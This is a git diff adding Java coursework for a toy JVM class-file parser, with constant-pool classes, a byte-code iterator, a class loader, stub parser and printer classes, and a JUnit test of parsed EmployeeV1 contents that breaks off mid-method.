diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/MethodRefInfo.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..f19e35e7a0
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,60 @@
+package com.dudy.learn01.coderising.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+	
+	private int type = ConstantInfo.METHOD_INFO;
+	
+	private int classInfoIndex;	
+	private int nameAndTypeIndex;
+	
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+	
+		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
+	}
+	public String getClassName(){
+		ConstantPool pool = this.getConstantPool();		
+		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
+		return clzInfo.getClassName();
+	}
+	
+	public String getMethodName(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+	
+	public String getParamAndReturnType(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitMethodRef(this);		
+	}
+	
+	
+	
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/NameAndTypeInfo.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..02715297f1
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,51 @@
+package com.dudy.learn01.coderising.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo{
+	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
+	
+	private int index1;
+	private int index2;
+	
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+	}
+	
+	public int getIndex1() {
+		return index1;
+	}
+	public void setIndex1(int index1) {
+		this.index1 = index1;
+	}
+	public int getIndex2() {
+		return index2;
+	}
+	public void setIndex2(int index2) {
+		this.index2 = index2;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	
+	public String getName(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
+		return utf8Info1.getValue();
+	}
+	
+	public String getTypeInfo(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
+		return utf8Info2.getValue();
+	}
+	
+	public String toString(){
+		return "(" + getName() + "," + getTypeInfo()+")";
+	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitNameAndType(this);
+		
+	}
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/NullConstantInfo.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..86661fd20d
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,17 @@
+package com.dudy.learn01.coderising.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+
+	public NullConstantInfo(){
+		
+	}
+	@Override
+	public int getType() {		
+		return -1;
+	}
+	@Override
+	public void accept(Visitor visitor) {
+				
+	}
+	
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/StringInfo.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..61449b0d20
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/StringInfo.java
@@ -0,0 +1,32 @@
+package com.dudy.learn01.coderising.jvm.constant;
+
+public class StringInfo extends ConstantInfo{
+	private int type = ConstantInfo.STRING_INFO;
+	private int index;
+	public StringInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+
+	
+	public String toString(){
+		return this.getConstantPool().getUTF8String(index);
+	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitString(this);
+		
+	}
+	
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/UTF8Info.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..39c51f8859
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/constant/UTF8Info.java
@@ -0,0 +1,37 @@
+package com.dudy.learn01.coderising.jvm.constant;
+
+public class UTF8Info extends ConstantInfo{
+	private int type = ConstantInfo.UTF8_INFO;
+	private int length ;
+	private String value;
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getType() {
+		return type;
+	}
+	@Override
+	public String toString() {
+		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
+	}
+	public String getValue() {
+		return value;
+	}
+	public void setValue(String value) {
+		this.value = value;
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visistUTF8(this);
+		
+	}
+	
+	
+
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/field/Field.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/field/Field.java
new file mode 100644
index 0000000000..1da61a8ab8
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/field/Field.java
@@ -0,0 +1,50 @@
+package com.dudy.learn01.coderising.jvm.field;
+
+import com.dudy.learn01.coderising.jvm.constant.ConstantPool;
+import com.dudy.learn01.coderising.jvm.constant.UTF8Info;
+import com.dudy.learn01.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class Field {
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	
+	
+	private ConstantPool pool;
+	
+	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
+		
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+		this.pool = pool;
+	}
+
+	public String toString() {
+		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+		
+		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+		return name +":"+ desc;
+	}
+	
+	
+	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
+		
+		int accessFlag = iter.nextU2ToInt();
+		int nameIndex = iter.nextU2ToInt();
+		int descIndex = iter.nextU2ToInt();
+		int attribCount = iter.nextU2ToInt();
+		//System.out.println("field attribute count:"+ attribCount);
+		
+		Field f = new Field(accessFlag, nameIndex, descIndex,pool);
+		
+		if(attribCount > 0){
+			throw new RuntimeException("Field Attribute has not been implemented");
+		}
+		
+		return f;
+	}
+
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/loader/ByteCodeIterator.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..f5808ce0d0
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,57 @@
+package com.dudy.learn01.coderising.jvm.loader;
+
+import com.dudy.learn01.coderising.jvm.util.Util;
+
+import java.util.Arrays;
+
+public  class ByteCodeIterator {
+	byte[] codes;
+	int pos = 0;
+
+	ByteCodeIterator(byte[] codes) {
+		this.codes = codes;
+	}
+
+	
+
+	public byte[] getBytes(int len) {
+		if (pos + len >= codes.length) {
+			throw new ArrayIndexOutOfBoundsException();
+		}
+
+		byte[] data = Arrays.copyOfRange(codes, pos, pos + len);
+		pos += len;
+		return data;
+	}
+
+	public int nextU1toInt() {
+
+		return Util.byteToInt(new byte[] { codes[pos++] });
+	}
+
+	public int nextU2ToInt() {
+		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++] });
+	}
+
+	public int nextU4ToInt() {
+		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] });
+	}
+
+	public String nextU4ToHexString() {
+		return Util.byteToHexString((new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] }));
+	}
+
+	public String nextUxToHexString(int len) {
+		byte[] tmp = new byte[len];
+
+		for (int i = 0; i < len; i++) {
+			tmp[i] = codes[pos++];
+		}
+		return Util.byteToHexString(tmp).toLowerCase();
+
+	}
+
+	public void back(int n) {
+		this.pos -= n;
+	}
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/loader/ClassFileLoader.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..49d296a9b6
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,132 @@
+package com.dudy.learn01.coderising.jvm.loader;
+
+import com.dudy.learn01.coderising.jvm.clz.ClassFile;
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+
+import java.io.*;
+import java.util.ArrayList;
+import java.util.List;
+
+
+public class ClassFileLoader {
+
+	private List<String> clzPaths = new ArrayList<String>();
+	
+	public byte[] readBinaryCode(String className) {
+		
+		className = className.replace('.', File.separatorChar) +".class";
+		
+		for(String path : this.clzPaths){
+			
+			String clzFileName = path + File.separatorChar + className;
+			byte[] codes = loadClassFile(clzFileName);
+			if(codes != null){
+				return codes;
+			}			
+		}
+		
+		return null;
+		
+		
+		
+	}
+	
+	private byte[] loadClassFile(String clzFileName) {
+		
+		File f = new File(clzFileName);
+		
+		try {
+		
+			return IOUtils.toByteArray(new FileInputStream(f));
+			
+		} catch (IOException e) {			
+			e.printStackTrace();
+			return null;
+		}
+	}
+	
+	
+	
+	public void addClassPath(String path) {
+		if(this.clzPaths.contains(path)){
+			return;
+		}
+		
+		this.clzPaths.add(path);
+		
+	}
+	
+	
+	
+	public String getClassPath(){
+		return StringUtils.join(this.clzPaths,";");
+	}
+
+	public ClassFile loadClass(String className) {
+		byte[] codes = this.readBinaryCode(className);
+		ClassFileParser parser = new ClassFileParser();
+		return parser.parse(codes);
+		
+	}
+	
+	
+	
+	// ------------------------------backup------------------------
+    public String getClassPath_V1(){
+		
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<this.clzPaths.size();i++){
+			buffer.append(this.clzPaths.get(i));
+			if(i<this.clzPaths.size()-1){
+				buffer.append(";");
+			}
+		}
+		return buffer.toString();
+	}
+	
+	private byte[] loadClassFile_V1(String clzFileName) {
+		
+		BufferedInputStream bis = null;
+		
+		try {
+			
+			File f = new File(clzFileName);
+			
+						
+			bis = new BufferedInputStream(new FileInputStream(f));
+			
+			ByteArrayOutputStream bos = new ByteArrayOutputStream();
+			
+			
+			byte[] buffer = new byte[1024];
+			int length = -1;
+			
+			while((length = bis.read(buffer)) != -1){
+				bos.write(buffer, 0, length);				
+			}
+			
+			byte [] codes = bos.toByteArray();
+			
+			return codes;
+			
+		} catch(IOException e){
+			e.printStackTrace();
+			
+		} finally{
+			if(bis != null){
+				try {
+					bis.close();
+				} catch (IOException e) {					
+					e.printStackTrace();
+				}
+			}
+		}
+		return null;
+		
+	}
+
+
+	
+
+}
\ No newline at end of file
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/loader/ClassFileParser.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..e569144868
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/loader/ClassFileParser.java
@@ -0,0 +1,52 @@
+package com.dudy.learn01.coderising.jvm.loader;
+
+
+import com.dudy.learn01.coderising.jvm.clz.AccessFlag;
+import com.dudy.learn01.coderising.jvm.clz.ClassFile;
+import com.dudy.learn01.coderising.jvm.clz.ClassIndex;
+import com.dudy.learn01.coderising.jvm.constant.ConstantPool;
+
+public class ClassFileParser {
+
+	public ClassFile parse(byte[] codes) {
+
+		
+		
+		
+		return null;
+	}
+
+	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+
+		return null;
+	}
+
+	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
+
+		return null;
+
+	}
+
+	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+		return null;
+	}
+	private void parseInterfaces(ByteCodeIterator iter) {
+		int interfaceCount = iter.nextU2ToInt();
+
+		System.out.println("interfaceCount:" + interfaceCount);
+
+		// TODO : 如果实现了interface, 这里需要解析
+	}
+
+	private void parseFileds(ClassFile clzFile, ByteCodeIterator iter) {
+		
+
+	}
+
+	private void parseMethods(ClassFile clzFile, ByteCodeIterator iter) {
+
+		
+
+	}
+	
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/method/Method.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/method/Method.java
new file mode 100644
index 0000000000..73d0f34700
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/method/Method.java
@@ -0,0 +1,78 @@
+package com.dudy.learn01.coderising.jvm.method;
+
+
+import com.dudy.learn01.coderising.jvm.attr.CodeAttr;
+import com.dudy.learn01.coderising.jvm.clz.ClassFile;
+import com.dudy.learn01.coderising.jvm.cmd.ByteCodeCommand;
+import com.dudy.learn01.coderising.jvm.constant.ConstantPool;
+import com.dudy.learn01.coderising.jvm.constant.UTF8Info;
+import com.dudy.learn01.coderising.jvm.loader.ByteCodeIterator;
+
+public class Method {
+	
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	private CodeAttr codeAttr;
+	
+	private ClassFile clzFile;
+	
+	
+	public ClassFile getClzFile() {
+		return clzFile;
+	}
+
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public int getDescriptorIndex() {
+		return descriptorIndex;
+	}
+	
+	public CodeAttr getCodeAttr() {
+		return codeAttr;
+	}
+
+	public void setCodeAttr(CodeAttr code) {
+		this.codeAttr = code;
+	}
+	
+	
+
+	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
+		this.clzFile = clzFile;
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+	}
+
+	
+	
+	
+	
+	public String toString() {
+		
+		ConstantPool pool = this.clzFile.getConstantPool();
+		StringBuilder buffer = new StringBuilder();
+		
+		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+		
+		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+		
+		buffer.append(name).append(":").append(desc).append("\n");
+		
+		buffer.append(this.codeAttr.toString(pool));
+		
+		return buffer.toString();
+	}
+	
+	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
+		return null;
+		
+	}
+
+	public ByteCodeCommand[] getCmds() {
+		return this.getCodeAttr().getCmds();
+	}
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/print/ClassFilePrinter.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/print/ClassFilePrinter.java
new file mode 100644
index 0000000000..8b23827f01
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/print/ClassFilePrinter.java
@@ -0,0 +1,46 @@
+package com.dudy.learn01.coderising.jvm.print;
+
+
+import com.dudy.learn01.coderising.jvm.clz.ClassFile;
+import com.dudy.learn01.coderising.jvm.loader.ClassFileLoader;
+
+public class ClassFilePrinter {
+	ClassFile clzFile = null;
+	public ClassFilePrinter(ClassFile clzFile){
+		this.clzFile = clzFile;
+	}
+	
+	public void print(){
+		
+		if(clzFile.getAccessFlag().isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ clzFile.getClassName());
+		
+		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
+		
+		System.out.println("minor version:" + clzFile.getMinorVersion());
+		
+		System.out.println("major version:" + clzFile.getMinorVersion());
+		
+		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
+		cnstPoolPrinter.print();
+		
+		
+		
+		
+	}
+	
+	public static void main(String[] args){
+		String path = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		ClassFile clzFile = loader.loadClass(className);
+		
+		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
+		
+		printer.print();
+	}
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/print/ConstantPoolPrinter.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/print/ConstantPoolPrinter.java
new file mode 100644
index 0000000000..02107debbb
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/print/ConstantPoolPrinter.java
@@ -0,0 +1,19 @@
+package com.dudy.learn01.coderising.jvm.print;
+
+
+import com.dudy.learn01.coderising.jvm.constant.ConstantPool;
+
+public class ConstantPoolPrinter {
+	ConstantPool pool;
+	ConstantPoolPrinter(ConstantPool pool){
+		this.pool = pool;
+	}
+	public void print(){
+		
+		System.out.println("Constant Pool:");
+		
+		
+		
+		
+	}
+}
diff --git a/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/test/ClassFileloaderTest.java b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..caf4ee5455
--- /dev/null
+++ b/group04/1796244932/learn01/src/main/java/com/dudy/learn01/coderising/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,347 @@
+package com.dudy.learn01.coderising.jvm.test;
+
+
+import com.dudy.learn01.coderising.jvm.clz.ClassFile;
+import com.dudy.learn01.coderising.jvm.clz.ClassIndex;
+import com.dudy.learn01.coderising.jvm.cmd.BiPushCmd;
+import com.dudy.learn01.coderising.jvm.cmd.ByteCodeCommand;
+import com.dudy.learn01.coderising.jvm.cmd.OneOperandCmd;
+import com.dudy.learn01.coderising.jvm.cmd.TwoOperandCmd;
+import com.dudy.learn01.coderising.jvm.constant.*;
+import com.dudy.learn01.coderising.jvm.field.Field;
+import com.dudy.learn01.coderising.jvm.loader.ClassFileLoader;
+import com.dudy.learn01.coderising.jvm.method.Method;
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.List;
+
+
+public class ClassFileloaderTest {
+
+	
+	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
+	
+	static String path2 = "/Users/dudy/coding2017-1/group04/1796244932/learn01/target/classes/com/dudy/learn01/coderising/jvm/";
+	static String path1 = "/Users/dudy/coding2017-1/group04/1796244932/learn01";
+	
+	static ClassFile clzFile = null;
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "EmployeeV1";
+		
+		clzFile = loader.loadClass(className);
+		
+	}
+	
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1056, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    
+   	private String byteToHexString(byte[] codes ){
+   		StringBuffer buffer = new StringBuffer();
+   		for(int i=0;i<codes.length;i++){
+   			byte b = codes[i];
+   			int value = b & 0xFF;
+   			String strHex = Integer.toHexString(value);
+   			if(strHex.length()< 2){
+   				strHex = "0" + strHex;
+   			}		
+   			buffer.append(strHex);
+   		}
+   		return buffer.toString();
+   	}
+    
+    /**
+     * ----------------------------------------------------------------------
+     */
+    
+    
+    @Test
+    public void testVersion(){    			
+		
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(52, clzFile.getMajorVersion());
+		
+    }
+    
+    @Test
+    public void testConstantPool(){
+    	
+
+		ConstantPool pool = clzFile.getConstantPool();
+		
+		Assert.assertEquals(53, pool.getSize());
+	
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+		}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+		
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClassInfoIndex());
+			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getIndex1());
+			Assert.assertEquals(14, nameAndType.getIndex2());
+		}
+		//抽查几个吧
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClassInfoIndex());
+			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
+    }
+    @Test
+    public void testClassIndex(){
+    	
+    	ClassIndex clzIndex = clzFile.getClzIndex();
+    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+    	
+    	
+    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+
+    /**
+     * 下面是第三次JVM课应实现的测试用例
+     */
+    @Test
+    public void testReadFields(){
+   
+    	List<Field> fields = clzFile.getFields();
+    	Assert.assertEquals(2, fields.size());
+    	{
+    		Field f = fields.get(0);
+    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+    	}
+    	{
+    		Field f = fields.get(1);
+    		Assert.assertEquals("age:I", f.toString());
+    	}
+    }
+    @Test
+    public void testMethods(){
+   
+    	List<Method> methods = clzFile.getMethods();
+    	ConstantPool pool = clzFile.getConstantPool();
+    	
+    	{
+    		Method m = methods.get(0);    		
+    		assertMethodEquals(pool,m,
+    				"<init>",
+    				"(Ljava/lang/String;I)V",
+    				"2ab7000c2a2bb5000f2a1cb50011b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(1);    
+    		assertMethodEquals(pool,m,
+    				"setName",
+    				"(Ljava/lang/String;)V",
+    				"2a2bb5000fb1");
+    		
+    	}
+    	{
+    		Method m = methods.get(2);    
+    		assertMethodEquals(pool,m,
+    				"setAge",
+    				"(I)V",
+    				"2a1bb50011b1");
+    	}
+    	{
+    		Method m = methods.get(3); 
+    		assertMethodEquals(pool,m,
+    				"sayHello",
+    				"()V",
+    				"b2001c1222b60024b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(4);    
+    		assertMethodEquals(pool,m,
+    				"main",
+    				"([Ljava/lang/String;)V",
+    				"bb000159122b101db7002d4c2bb6002fb1");
+    	}
+    }
+    
+    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
+    	String methodName = pool.getUTF8String(m.getNameIndex());
+		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
+		String code = m.getCodeAttr().getCode();
+		Assert.assertEquals(expectedName, methodName);
+		Assert.assertEquals(expectedDesc, methodDesc);
+		Assert.assertEquals(expectedCode, code);
+    }
+    
+    @Test
+    public void testByteCodeCommand(){
+    	{
+	    	Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
+	    	ByteCodeCommand[] cmds = initMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: invokespecial #12", cmds[1]);
+	    	assertOpCodeEquals("4: aload_0", cmds[2]);
+	    	assertOpCodeEquals("5: aload_1", cmds[3]);
+	    	assertOpCodeEquals("6: putfield #15", cmds[4]);
+	    	assertOpCodeEquals("9: aload_0", cmds[5]);
+	    	assertOpCodeEquals("10: iload_2", cmds[6]);
+	    	assertOpCodeEquals("11: putfield #17", cmds[7]);
+	    	assertOpCodeEquals("14: return", cmds[8]);
+    	}
+    	
+    	{
+	    	Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
+	    	ByteCodeCommand [] cmds = setNameMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: aload_1", cmds[1]);
+	    	assertOpCodeEquals("2: putfield #15", cmds[2]);
+	    	assertOpCodeEquals("5: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
+	    	ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: getstatic #28", cmds[0]);
+	    	assertOpCodeEquals("3: ldc #34", cmds[1]);
+	    	assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
+	    	assertOpCodeEquals("8: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method mainMethod = this.clzFile.getMainMethod();
+	    	
+	    	ByteCodeCommand [] cmds = mainMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: new #1", cmds[0]);
+	    	assertOpCodeEquals("3: dup", cmds[1]);
+	    	assertOpCodeEquals("4: ldc #43", cmds[2]);
+	    	assertOpCodeEquals("6: bipush 29", cmds[3]);
+	    	assertOpCodeEquals("8: invokespecial #45", cmds[4]);
+	    	assertOpCodeEquals("11: astore_1", cmds[5]);
+	    	assertOpCodeEquals("12: aload_1", cmds[6]);
+	    	assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
+	    	assertOpCodeEquals("16: return", cmds[8]);
+    	}
+    	
+    }
+   
+    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
+    	
+    	String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
+    	
+    	if(cmd instanceof OneOperandCmd){
+    		if(cmd instanceof BiPushCmd){
+    			acctual += " " + ((OneOperandCmd)cmd).getOperand();
+    		} else{
